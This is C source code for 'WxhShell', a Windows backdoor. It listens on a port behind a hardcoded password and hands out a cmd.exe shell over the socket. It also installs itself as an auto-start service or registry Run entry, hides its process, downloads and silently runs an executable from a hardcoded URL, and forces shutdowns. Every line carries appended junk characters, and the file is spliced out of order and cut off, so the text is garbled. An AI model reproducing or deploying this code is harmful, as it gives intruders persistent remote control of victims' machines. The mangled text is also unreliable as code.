    ExitThread(0); q@&6&cd  
    } -T=sY/O  
    break; {2.zzev'  
    } &V(;zy4(R  
  // 关机 ?1.W F}X'  
  case 'd': { 34F;mr"yp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6Z#$(oC  
    if(Boot(SHUTDOWN)) G0Y]-*1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f\vMdY  
    else { b*)F7{/Z  
    closesocket(wsh); 3EV?=R  
    ExitThread(0); 9<Ks2W.N  
    } ~J![Nx/  
    break; M(U<H;Csk  
    } 4DgH/Yo  
  // 获取shell ]%2y`Jrl^W  
  case 's': { 6]|-%  
    CmdShell(wsh); z'&tmje[?  
    closesocket(wsh); U1;&G  
    ExitThread(0); z7_h$v  
    break; \C<'2KZR,  
  } 6L<QKE=  
  // 退出 %Y-5L;MI  
  case 'x': { e'A 1%g)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #h}a   
    CloseIt(wsh); ;_ S D W  
    break; yu}yON  
    } =p2: qSV  
  // 离开 cV4]Y(9  
  case 'q': { ~%L=<TBAc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?mHu eX  
    closesocket(wsh); 7g>|e  
    WSACleanup(); h?Lp9VF  
    exit(1); L/?jtF:o  
    break; / ?'FSWDU  
        } BG8`B'i  
  } (L*<CV  
  } j6WDh}#  
\Mzr[dI  
  // 提示信息 N4l}5(e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aTwBRm  
}  ]&OI.p  
  } *?pnTQs^  
YYhN>d$  
  return; _>J`e7j+  
} t|m=X  
JAX`iQd  
// shell模块句柄 ws<p BC,m  
int CmdShell(SOCKET sock) .*B@1q  
{ E[Q2ZqhgbP  
STARTUPINFO si; wGw<z[:f  
ZeroMemory(&si,sizeof(si)); q"i]&dMr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VCzb[.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G 2`hEX%  
PROCESS_INFORMATION ProcessInfo; ++ZP X'|  
char cmdline[]="cmd"; a@ ^)?cH!z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); biG :Xn  
  return 0; 3BSZz%va  
} XS$#\UQ  
:_|Xr'n`A  
// 自身启动模式 ojyP.R  
int StartFromService(void) d&lT/S  
{ S$=caZ?  
typedef struct -/:!AxIH  
{ NiYT%K%  
  DWORD ExitStatus; 5<M$ XT  
  DWORD PebBaseAddress; +;,X?E]g  
  DWORD AffinityMask; %\L{Ud%7  
  DWORD BasePriority; 5+2qx)FZ  
  ULONG UniqueProcessId; :F_>`{  
  ULONG InheritedFromUniqueProcessId; ^Y%<$IFG  
}   PROCESS_BASIC_INFORMATION; 6_&S ?yA  
"E@A~<RKP  
PROCNTQSIP NtQueryInformationProcess;  z31g"  
nRyx2\Py+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yeam-8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vVZ+u4y  
\opcn\vW  
  HANDLE             hProcess; .X5A7 m  
  PROCESS_BASIC_INFORMATION pbi; F:sUGM,  
{e5-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jn%Etz-  
  if(NULL == hInst ) return 0; M8IU[Pz4  
8JXS:J.|v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #qARcxbK|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _>bk'V7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TK0WfWch  
>)HKruSW.  
  if (!NtQueryInformationProcess) return 0; BMtk/r/  
shEAr*u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N8DouDq  
  if(!hProcess) return 0; d@tf+_Ih  
 A"1%E.1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }~p%e2<  
_gEojuaN  
  CloseHandle(hProcess); _U9.u#>sV  
Z_a@,k:+[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >S8 n 8U  
if(hProcess==NULL) return 0; /Ny#+$cfk  
7uf5w0]  
HMODULE hMod; 9fWR8iV  
char procName[255]; h8 FV2"  
unsigned long cbNeeded; >2F9Tz,3  
+-T|ov<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gtIEpYN+  
9Wg;M#c2Y|  
  CloseHandle(hProcess); j'OXT<n*  
At'M? Q@v  
if(strstr(procName,"services")) return 1; // 以服务启动 $3g M P+  
"<Yxt"Z4  
  return 0; // 注册表启动 <g&.UW4  
} ,g4T>7`&U%  
}=B~n0  
// 主模块 u08j9) ,4  
int StartWxhshell(LPSTR lpCmdLine) [E+J=L.l  
{ &- !$qUli  
  SOCKET wsl; l](!2a=[  
BOOL val=TRUE; Dbb=d8utE  
  int port=0; e}n(mq  
  struct sockaddr_in door; FAdTp.   
o+L [o_er  
  if(wscfg.ws_autoins) Install(); m2&Vm~Py6b  
^Nu j/  
port=atoi(lpCmdLine); "3'a.b akw  
J*_^~t  
if(port<=0) port=wscfg.ws_port; S<jiy<|`  
`sA xk  
  WSADATA data; 'blMwD{0&\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AAqfp/DC  
;mg.} fI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    FLZ9Rg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s:cJF  
  door.sin_family = AF_INET; #K*p1}rf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zl|+YjR  
  door.sin_port = htons(port); H0jbG;  
hL&7D @  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vk*XiEfKm>  
closesocket(wsl); s>1\bio*I  
return 1; :S}ZF$ $j%  
} C,%Dp0  
Anqt:(  
  if(listen(wsl,2) == INVALID_SOCKET) { 5j\Kej  
closesocket(wsl); K7C!ZXw~  
return 1; K4o']{:U  
} LK!sk5/  
  Wxhshell(wsl); (pHJEY  
  WSACleanup(); TU;AO%5  
_yF@k~ h  
return 0; @=2u;$.  
Hzc}NyJ  
} 4E_u.tJ  
}gFa9M<  
// 以NT服务方式启动 b4EUr SL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y+kuj],h  
{ {U@"]{3Qx  
DWORD   status = 0; ;#+I"Ow  
  DWORD   specificError = 0xfffffff; l>L?T#v!_  
SL/'UoYm<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .Wr7*J[V.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  !VXy67  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; > 5?c93?  
  serviceStatus.dwWin32ExitCode     = 0; }2 \Hg  
  serviceStatus.dwServiceSpecificExitCode = 0; ,% 'r:@'  
  serviceStatus.dwCheckPoint       = 0; .JTRFk{W  
  serviceStatus.dwWaitHint       = 0; }D`ZWTjDay  
,9"du  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4=`1C-v?q  
  if (hServiceStatusHandle==0) return; X$G:3uoN  
r\}?HS06  
status = GetLastError(); etUfdZ  
  if (status!=NO_ERROR) Pa#Jwo  
{ X}5"ZLa7l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Yakrsi/jV}  
    serviceStatus.dwCheckPoint       = 0; XH0o8\.  
    serviceStatus.dwWaitHint       = 0; y|i(~  
    serviceStatus.dwWin32ExitCode     = status; r_FI5f  
    serviceStatus.dwServiceSpecificExitCode = specificError; u~ VXe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nq^o8q_  
    return;  Hyenn  
  } ,Z :2ba  
eD3\>Y.z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mkPqxzxbrL  
  serviceStatus.dwCheckPoint       = 0; MiKq|  
  serviceStatus.dwWaitHint       = 0; M= |is*t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `c|H^*RC  
} m5a'Vs  
B*E"yB\NV  
// 处理NT服务事件,比如:启动、停止  >|gXE>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8r:T&)v  
{ smn(q)tt  
switch(fdwControl) 2yD ?f8P4  
{ DZLEx{cm  
case SERVICE_CONTROL_STOP: 8|$g"? CU  
  serviceStatus.dwWin32ExitCode = 0; 9~2iA,xs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @HnahD  
  serviceStatus.dwCheckPoint   = 0; osmCwM4O  
  serviceStatus.dwWaitHint     = 0; $P)-o?eer  
  { pHye8v4fvi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cs,Cb2[  
  } @[`]w`9Q7  
  return; XbeT x  
case SERVICE_CONTROL_PAUSE: h,-i\8gq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #Ye0*`  
  break; pIug$Ke_%  
case SERVICE_CONTROL_CONTINUE: H;@0L}Nu+}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gNZ"Kr o6  
  break; `Fe/=]< $  
case SERVICE_CONTROL_INTERROGATE: Sn 7 h$  
  break; k2_y84;D  
}; I2NMn5>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [} d39  
} 9eE FX7  
: ;hm^m]Y  
// 标准应用程序主函数 a;kiAJ'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jsF5q~F  
{ <Wj /A/  
TEGg)\+D>  
// 获取操作系统版本 Im};wJ&  
OsIsNt=GetOsVer(); (lq%4h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bE=[P}E  
Jk:ZO|'Z  
  // 从命令行安装 ()$m9%x  
  if(strpbrk(lpCmdLine,"iI")) Install(); %F$ ]v  
h/y0Q~|/d  
  // 下载执行文件 F x$W3FIO]  
if(wscfg.ws_downexe) { N6T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !}c\u  
  WinExec(wscfg.ws_filenam,SW_HIDE); a*_&[  
} "(~fl<;  
OwgPgrV  
if(!OsIsNt) { !\$4A,  
// 如果时win9x,隐藏进程并且设置为注册表启动 EFu$>Z4  
HideProc(); k Q_Vj7  
StartWxhshell(lpCmdLine); 9x(t"VPuS  
} &|Rww\oJ  
else 7fd,I%v  
  if(StartFromService()) 9"L!A,&'  
  // 以服务方式启动 { i4`- w  
  StartServiceCtrlDispatcher(DispatchTable); ,6f6r  
else Se\iM s  
  // 普通方式启动 Q&@<?K9  
  StartWxhshell(lpCmdLine); Y{@foIZ  
pe).  
return 0; _j{)%%?r  
} 1Mx2%  
. S;o#Zw*R  
t:,lz8Y~  
C.H(aX)7  
=========================================== *+2BZ ZwT  
Z^J)]UL/  
d7x6r3J$  
[iyhrc:@  
xk,1 D  
RUut7[r  
" p_fsEY  
zP@\rZ@4  
#include <stdio.h> onS4ZE3B  
#include <string.h> *13-)yfd  
#include <windows.h> M0)ZJti  
#include <winsock2.h> .#K\u![@N  
#include <winsvc.h> <~svy)Cz  
#include <urlmon.h> Xg;<?g?k  
y.gNjc  
#pragma comment (lib, "Ws2_32.lib") G[fg!vig#7  
#pragma comment (lib, "urlmon.lib") _0\wyjjU  
63t'|9^5  
#define MAX_USER   100 // 最大客户端连接数 ;L$l0(OO  
#define BUF_SOCK   200 // sock buffer `}}|QP5xG  
#define KEY_BUFF   255 // 输入 buffer sebm  
&4M,)Q (  
#define REBOOT     0   // 重启  3L4v@  
#define SHUTDOWN   1   // 关机 U9%^gC  
>=1UhHFNI  
#define DEF_PORT   5000 // 监听端口 Q(Pc  
k>E/)9%ep2  
#define REG_LEN     16   // 注册表键长度 8)b*q\ O'  
#define SVC_LEN     80   // NT服务名长度 n2["Ln mO  
Np.<&`p!  
// 从dll定义API =^zOM6E1ZF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZKB27D_vg>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h<WTN_i}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  xG'F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y>r^ MQ  
+ eZn  
// wxhshell配置信息 I=YZ!*f/`  
struct WSCFG { sd*NY  
  int ws_port;         // 监听端口 jT-tsQ .,  
  char ws_passstr[REG_LEN]; // 口令 Go~3L8 '  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6HpiG`  
  char ws_regname[REG_LEN]; // 注册表键名 : D !/.0  
  char ws_svcname[REG_LEN]; // 服务名 F7=&CW 0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k4"O} jQO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FuFICF7+C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6Q*zZ]kg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .[6T7fdi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" COH>B1W@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &>ykkrY  
_w%{yF6   
}; A{DE7gp!  
Z[\nyj  
// default Wxhshell configuration ;M *G  
struct WSCFG wscfg={DEF_PORT, _M- PF$  
    "xuhuanlingzhe", i*+N[#yp  
    1, S9qc34\^=  
    "Wxhshell", 9; aOUs:<  
    "Wxhshell", X}&Y(kOT  
            "WxhShell Service", gzyi'K<  
    "Wrsky Windows CmdShell Service", \YsLVOv%:d  
    "Please Input Your Password: ", v.Q+4 k  
  1, 3nUC,T%  
  "http://www.wrsky.com/wxhshell.exe", 'W~6-c9y  
  "Wxhshell.exe" dQNW1-s  
    }; y"w`yl{_  
ksAu=X:  
// 消息定义模块 njb{   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "?"+1S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O[9A}g2~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,sp((SF]1  
char *msg_ws_ext="\n\rExit."; qa?0GTAS  
char *msg_ws_end="\n\rQuit."; V24FzQ?z:.  
char *msg_ws_boot="\n\rReboot..."; f!cYLU1e@  
char *msg_ws_poff="\n\rShutdown..."; a7la CHI  
char *msg_ws_down="\n\rSave to "; :HH3=.qAp`  
j$z!kd+%  
char *msg_ws_err="\n\rErr!"; (Lkcx06e  
char *msg_ws_ok="\n\rOK!"; =UZQ` {  
X@:@1+U  
char ExeFile[MAX_PATH]; x J\>;$CY  
int nUser = 0; 14h0$7  
HANDLE handles[MAX_USER]; N[xa=  
int OsIsNt; NHaqT@:  
2>kk6=<5'  
SERVICE_STATUS       serviceStatus; T2 XLP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .;;:t0PB  
s{0c.M  
// 函数声明 XILreATK@  
int Install(void); M#SGZ~=1r  
int Uninstall(void); :g)`V4%  
int DownloadFile(char *sURL, SOCKET wsh); _%PEv{H0.  
int Boot(int flag); 7qhX `$  
void HideProc(void); H\=S_b1wo  
int GetOsVer(void); -JXCO <~k  
int Wxhshell(SOCKET wsl); 9Pdol!  
void TalkWithClient(void *cs); ;0O>$|kg  
int CmdShell(SOCKET sock); Q::_i"?c  
int StartFromService(void); _Xfn  
int StartWxhshell(LPSTR lpCmdLine); h09fU5l  
S&Sa~Oq<o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0JV|wd8j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,4S6F HK  
OZ Hfd7K4A  
// 数据结构和表定义 +^ |=MK%  
SERVICE_TABLE_ENTRY DispatchTable[] = ;PWx#v+vwF  
{ 1&utf0TX6q  
{wscfg.ws_svcname, NTServiceMain}, .J2tm2]"EZ  
{NULL, NULL} lXu6=r  
}; <USr$  
z_t%n<OvK  
// 自我安装 <io;d$=}  
int Install(void) |@pn=wW  
{ G@1T!`  
  char svExeFile[MAX_PATH]; |SwW*C  
  HKEY key;  I8  
  strcpy(svExeFile,ExeFile); E:$r" oS  
OF1Qr bj  
// 如果是win9x系统,修改注册表设为自启动 j>|mpfU  
if(!OsIsNt) { ^ZDpG2(zk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QlH,-]N$L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <U2Un 0T  
  RegCloseKey(key); 3t:/Guyom8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KO=H!Em\l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kbqx)E$iL  
  RegCloseKey(key); D+CP?} /  
  return 0; je5GZFQw  
    } k6^!G"  
  } eq7>-Dmi@  
} ]+@I] \S4  
else { $/$ 5{<  
^<+V[ =X  
// 如果是NT以上系统,安装为系统服务 YiTVy/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -X,[NI3  
if (schSCManager!=0) T9-2"M=|<  
{ WXJ%hA  
  SC_HANDLE schService = CreateService ,qK3 3Bn  
  ( Qjd<%!]+\  
  schSCManager, IF <<6.tz  
  wscfg.ws_svcname, kZ<"hsh,Y'  
  wscfg.ws_svcdisp, v|;}}ol  
  SERVICE_ALL_ACCESS, g I@I.=y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1\%2@NR  
  SERVICE_AUTO_START, 1YvE/<6  
  SERVICE_ERROR_NORMAL, L(_bf/ @3  
  svExeFile, ZRj&k9D^U  
  NULL, Pfl8x  
  NULL, ,g{Ob{qT  
  NULL, ^,6c9Dxy  
  NULL, j@Y'>3  
  NULL CP6xyXOlPB  
  ); ^;.&=3N,+  
  if (schService!=0) "D7wtpJ  
  { |)b:@q3k+n  
  CloseServiceHandle(schService); ,O 1/|Y  
  CloseServiceHandle(schSCManager); `z?h=&N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )wfqGkr=m!  
  strcat(svExeFile,wscfg.ws_svcname); [IPXU9& Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )]3_o!o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,p9>/)l  
  RegCloseKey(key); !9vq"J~hz"  
  return 0; C=<PYkt,L  
    } W&;,7T8@  
  } H.*aVb$  
  CloseServiceHandle(schSCManager); +VRM:&  
} +`l)W`zX  
} 2HF_kYZ  
Y3?)*kz%  
return 1; y}GFtRNG  
} BFn4H%1  
b!c2j   
// 自我卸载 zT ; +akq  
int Uninstall(void) ]T1\gv1~  
{ )5/,B-+O"  
  HKEY key; $Lt'xW`8  
$`6Q\=*R/  
if(!OsIsNt) { cOvdC4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s1%th"e [  
  RegDeleteValue(key,wscfg.ws_regname); O("13cU  
  RegCloseKey(key); tlpTq\;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JbXd9AMh2  
  RegDeleteValue(key,wscfg.ws_regname); ^H~g7&f9?N  
  RegCloseKey(key); ISi^BFU  
  return 0; ] Wx?k7T  
  } *`~]XM@H  
} l$g \t]  
} =a!_H=+4  
else { \<W/Z.}/  
F6gU9=F1<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'QC'*Hl  
if (schSCManager!=0) 87yZd8+)  
{ in#lpDa[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  r74' _y  
  if (schService!=0) :fA|J!^b[  
  { /<T3^/ '  
  if(DeleteService(schService)!=0) { hK 1 H'~c  
  CloseServiceHandle(schService); K2!GpGZu  
  CloseServiceHandle(schSCManager); qw6i|JM%  
  return 0; _DLELcH Y  
  } 0rCQz3gh1  
  CloseServiceHandle(schService); uG=~k O  
  } ~+CEek  
  CloseServiceHandle(schSCManager); fRomP-S  
} bO+]1nZ.  
} <KBS ;t="1  
a9g~(#?a  
return 1; (qDPGd*1  
} k]9+/ $  
tx,q=.(  
// 从指定url下载文件 @!p0<&R@x  
int DownloadFile(char *sURL, SOCKET wsh) l-?#oy  
{ DAf0bh"  
  HRESULT hr; jhH&}d9  
char seps[]= "/"; ) m(!lDz3  
char *token; Wg\MaZ6Di  
char *file; BI+x6S>d  
char myURL[MAX_PATH]; P`AW8Y6o  
char myFILE[MAX_PATH]; =2e{T J/  
~' w]%rh!  
strcpy(myURL,sURL); fxknfgbg  
  token=strtok(myURL,seps); UT_kw}1o  
  while(token!=NULL) ,ut7`_Fy  
  { k c /"  
    file=token; \HQw$E/p  
  token=strtok(NULL,seps); B ,U|V  
  } 9Xh1i`.D  
;*njS1@  
GetCurrentDirectory(MAX_PATH,myFILE); cyBm,!  
strcat(myFILE, "\\"); ToM1#]4  
strcat(myFILE, file); g9@H4y6fe=  
  send(wsh,myFILE,strlen(myFILE),0); pch8A0JAl)  
send(wsh,"...",3,0); !p!^[/9"c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rUh2[z8:  
  if(hr==S_OK) d'@i8N["{  
return 0; 00/ RBs 5  
else Q$b4\n?44  
return 1; $V,ZH* g  
m,V"S(A  
} jbWgL$  
HsKq/Oyk  
// 系统电源模块 "xAIK  
int Boot(int flag) m\G45%m  
{ 0( q:K6zI}  
  HANDLE hToken; /<1zzeHRSD  
  TOKEN_PRIVILEGES tkp; +h@ZnFp3  
oc;4;A-;`c  
  if(OsIsNt) { DO6 pv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xM=?ES  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jk;dtLL}4  
    tkp.PrivilegeCount = 1; QXEz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y2[ik<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c!N#nt_<  
if(flag==REBOOT) { 7n]ukqZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  lofP$  
  return 0; X}g"_wN,g>  
} z&yVU<;  
else { Mh]4K" cs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j937tn!Q  
  return 0; *#83U?  
} 31cZ6[  
  } 2=7:6Fw  
  else { VUC_|=?dL  
if(flag==REBOOT) { /sr. MT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yVWt%o/  
  return 0; -J>f,zA  
} d)GR]^=r  
else { 5E^P2Mlc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |k#EYf#Y  
  return 0; pgPm0+N  
} E+cx 8(   
} 8>`8p0I$+  
\%_sL#?  
return 1; b%7zu}F  
} b9VI(s>  
;?C`Jag x  
// win9x进程隐藏模块 Q w)U  
void HideProc(void) w5=<}1`St  
{ )JY#8,{w  
kQ"Ax? b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oiOu169]  
  if ( hKernel != NULL ) iUq_vQ@} }  
  { @H}{?-XyA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z9w]{Zd_,d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NIHcX6Nw  
    FreeLibrary(hKernel); U/ax`_  
  } pnUL+UYeM  
mQ3gp&d3W  
return; 5w5"rcV  
} 0E9 lv"3o  
KQ ^E\,@o  
// 获取操作系统版本 SgkW-#  
int GetOsVer(void) i ^, $/  
{ 5?.!A 'zb  
  OSVERSIONINFO winfo; A@Cvx7X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8S5Q{[!  
  GetVersionEx(&winfo); J^!wk9q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k ~4o`eA  
  return 1; F~/~_9RJ  
  else rpc;*t+z  
  return 0; F^&@[k7WW  
} *Ag3qnY  
uK0L>  
// 客户端句柄模块 qp{~OW3  
int Wxhshell(SOCKET wsl) c3WF!~1r  
{ i!eY"|o  
  SOCKET wsh; &%tW  
  struct sockaddr_in client; WBR# Ux  
  DWORD myID; "n{JH9sA:  
l!": s:/'  
  while(nUser<MAX_USER) -`$J& YU  
{ }!"Cvu  
  int nSize=sizeof(client); (dh9aR_a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /Mj|Px%  
  if(wsh==INVALID_SOCKET) return 1; 2fXwJG'  
5 BeU/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {\X$vaF  
if(handles[nUser]==0) TN<"X :x9  
  closesocket(wsh); 0^)~p{Zh  
else n`! 6EaD  
  nUser++; 8 mt#S  
  } %S^:5#9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AC!yc(^<  
nI] zRduC  
  return 0; ^CD? SP"i  
} ^S 45!mSb  
n8JM 0 U-  
// 关闭 socket > w SI0N  
void CloseIt(SOCKET wsh) MRT<hB  
{ ]Bs{9=2  
closesocket(wsh); FGeKhA 8jT  
nUser--; 2b Fr8FUt-  
ExitThread(0); VxE;tJ>1  
} 9P*f  
UzW]kY[A<  
// 客户端请求句柄 =CO'LyG  
void TalkWithClient(void *cs) j%}9tM6[  
{ M"-.D;sa1  
olKM0K  
  SOCKET wsh=(SOCKET)cs; )u0 /s'  
  char pwd[SVC_LEN]; 4UND;I&  
  char cmd[KEY_BUFF]; [;UI8St w  
char chr[1]; OzR<jCOS  
int i,j; 2`A[<S  
RL H!f1cta  
  while (nUser < MAX_USER) { W$W w/mcl+  
Fl*<N  
if(wscfg.ws_passstr) { rC_saHo>#R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wO6>jW 7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \7IT[<Se  
  //ZeroMemory(pwd,KEY_BUFF); (iIzoEpb8W  
      i=0; `i+2YCk  
  while(i<SVC_LEN) { )`6OSB  
[.6bxK  
  // 设置超时 #o,FVYYj  
  fd_set FdRead; cucT |y  
  struct timeval TimeOut; PDLps[a  
  FD_ZERO(&FdRead); jv6>7@<G  
  FD_SET(wsh,&FdRead); 74&{GCL  
  TimeOut.tv_sec=8; "'/+}xM"5  
  TimeOut.tv_usec=0; ;P$ _:-C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qn'TIE.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Sr_hD5!  
BB_(!omq[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OX?E3 <8`  
  pwd=chr[0]; L[<CEk  
  if(chr[0]==0xd || chr[0]==0xa) { ^ > ?C  
  pwd=0; ^/#8 "  
  break; oFT1d  
  } DyA1zwp}  
  i++;  kq([c r  
    } 4n1 g@A=y  
t;u)_C,bmP  
  // 如果是非法用户,关闭 socket N8=-=]0G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aOQT-C[ O  
} /c6]DQ<?  
o)$eIu}Wg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8VuLL<\|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0k4XVd+Nv  
cl |}0Q5  
while(1) { IRTWmT jT  
I3}]MAE  
  ZeroMemory(cmd,KEY_BUFF); B\qy:nr j  
=kCiJ8q|  
      // 自动支持客户端 telnet标准   }^P"R[+4u  
  j=0; 2|U6dLZ!  
  while(j<KEY_BUFF) { 3+q-yP#X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A,(9|#%L  
  cmd[j]=chr[0]; P% 8U  
  if(chr[0]==0xa || chr[0]==0xd) { 3,#v0#  
  cmd[j]=0; |;^$IZSsz  
  break; lR mVeq:  
  } [nlq(DGJhp  
  j++; K<%8.mZ7  
    } p["pGsf  
fI'+4 )@x  
  // 下载文件 xMa9o  
  if(strstr(cmd,"http://")) { ~yV?*"Hi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UUa@7|x  
